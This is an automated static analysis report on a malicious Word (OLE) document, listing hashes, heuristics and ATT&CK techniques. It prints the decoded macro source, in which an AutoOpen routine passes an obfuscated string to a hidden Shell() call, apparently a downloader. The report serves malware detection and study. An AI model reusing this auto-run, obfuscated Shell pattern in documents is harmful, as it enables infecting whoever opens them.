Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b229e004c4184dc6…

MALICIOUS

Office (OLE)

57.4 KB First seen: 2018-08-05
MD5: b63e6be6dd6aec6f8d9c7eb3f64efebf SHA-1: 7ea420c5c5bd024022ed466899988edebef49a1b SHA-256: b229e004c4184dc603f79d1b2412a22aee5410def8209f0ba3f8b0991460f97b
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro triggers a Shell() call, which is likely used to download and execute a second-stage payload. The obfuscated nature of the script prevents a more detailed analysis of the payload's destination or specific actions.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 58,818 bytes but its declared streams total only 34,935 bytes — 23,883 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1785 bytes
SHA-256: 5595a05900e150f719bbf043809fefc08c85ac687bd25e01cc02aed7c0dadbab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HUQhijfL"
Function knZdVppJiJG()
On Error Resume Next
jHfiAs = (cntCq * 99948 + 8259 * CInt(nVohf - CDbl(2090)) * 80564 * Oct(87674))
iHfSijLZX = NaUfNVtTXza + Chr(HQLiublRjrb + 80 + DbVMvVhc) + "owers"
IcWbw = (MqbPrr * 858 + 43653 * CInt(CNRBJH - CDbl(32335)) * 39376 * Oct(24044))
vNqdGl = (OJaXWc * 57380 + 87230 * CInt(LPkNIn - CDbl(98657)) * 9508 * Oct(61296))
knZdVppJiJG = mZwJpcUP + iHfSijLZX + siWzCGiO + EsRmTTP + dhBPwc + ozZQXNXljS + CBjhPBVtJi + bDjTC + wajJCG + WXwOUTjzaG + wHPwqZbZv + nzTAoJQXfND + PHKhB + XTTiQ + cSwQdjDT + EnBvXOnWWj + baOmjnY + IZJJjEv + lTDvMXUDSHV + JILzpkzkaW + ztuZwYJYEA + AiraG + cHXIk + bjROlYHzfl + WzHWOIKTBKj + PqRhG + rEFZFwM + qZwhrI + CUUqcREmfBC + aSWYvF + cWmdLmJYO + qcLtwWX + lqXHBio + utCjB
jojOr = (JuDjW * 24574 + 38774 * CInt(zdqwMf - CDbl(71857)) * 77020 * Oct(15215))
End Function
Function mJFlAO(zoknFR)
On Error Resume Next
vBkzXI = (lzpCF * 58390 + 89997 * CInt(OMhaMJ - CDbl(97993)) * 90387 * Oct(10122))
iwCsA = (vjFTpX * 19755 + 44438 * CInt(SkPics - CDbl(99220)) * 92255 * Oct(26541))
PwYUr = ZEzRCW + SSRbG + Shell(vjzoS + zoknFR + DANNqTi, (74140 / 74140) - 1)
SDNvTw = (fjsML * 87370 + 94792 * CInt(GYYbs - CDbl(82094)) * 5059 * Oct(20921))
End Function
Sub AutoOpen()
On Error Resume Next
uZjQcW = (Apthch * 72074 + 73415 * CInt(jsaii - CDbl(12906)) * 83368 * Oct(34117))
mJFlAO (knZdVppJiJG)
VUbUV = (PshAu * 23840 + 81932 * CInt(MNLWz - CDbl(29542)) * 61414 * Oct(48228))
End Sub


Attribute VB_Name = "vhCKEojhOE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.